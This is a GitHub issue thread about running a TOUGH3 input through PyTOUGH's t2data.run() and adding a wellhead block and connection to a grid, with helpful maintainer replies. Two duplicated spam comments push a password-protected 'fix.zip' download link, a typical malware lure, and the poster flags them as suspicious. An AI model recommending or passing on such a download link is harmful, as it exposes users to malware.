PyTOUGH icon indicating copy to clipboard operation
PyTOUGH copied to clipboard

dat.run()

Open jousheinfo opened this issue 1 year ago • 4 comments

Hello,

I have a TOUGH input file, and I would like to run it through PyTOUGH to get the listing file. The code I have is the following:

from t2data import * dat = t2data('file.inp') dat.run(simulator = 'tough3_eco2m.exe')

I get the following Python error: :15: SyntaxWarning: invalid escape sequence '\P'

It kinda generates the listing file, but I get the following error: TOUGH ERROR: Please check the name of the input file specified or rename input file to INFILE

I have the CO2TAB, executable and input files saved in the same folder. I tried to rename the input file, but I still get the same error. I kindly ask for your support, please. Thanks!.

jousheinfo avatar Aug 26 '24 17:08 jousheinfo

to fix your trouble try download this fix, i see it in another issue, https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue, https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme when you installing, you need to place a check in install to path and select "gcc."

@acroucher the comments above seem to be suspicious. Please take action. Looking forward to your response. Thanks!

jousheinfo avatar Aug 26 '24 18:08 jousheinfo

PyTOUGH's t2data.run() method hasn't really been tested with TOUGH3, but I gather that in theory it should work much the same as TOUGH2. Have you tested running it outside of Python, i.e. just running on the command line tough3_eco2m.exe < file.inp > output.listing or similar?

I don't know what the "invalid escape sequence" message is about, but the error after that suggests that TOUGH3 just can't find the input file.

acroucher avatar Aug 27 '24 04:08 acroucher

Thank you, I think I found the solution. Another question, please.

I have a radial grid and the first element is named as ' a 1' whose center is at depth 2.5 m. I want to add a new block named ' ba 1' whose center is at depth 0 m (it will be used as "surface" (wellhead) block. I tried the following, but it not working.

new_wellhead_name = ' ba 1' dat.grid.add_block(new_wellhead_name)

The error I get is the following: AttributeError: 'str' object has no attribute 'name'

Moreover, after adding this new wellhead, how to create the connection between ' a 1' and ' ba 1'?

Thank you so much!

jousheinfo avatar Aug 29 '24 16:08 jousheinfo

When you use t2grid.add_block() the argument should be a t2block object, not a string. So you need to create one first, e.g. blk = t2block(name = ' ba 1'), then dat.grid.add_block(blk). You may want to set other block parameters as well when you create it, e.g. volume. See the documentation for more details.

The procedure for adding a connection is similar, first create a t2connection object and then use t2grid.add_connection().

acroucher avatar Aug 29 '24 22:08 acroucher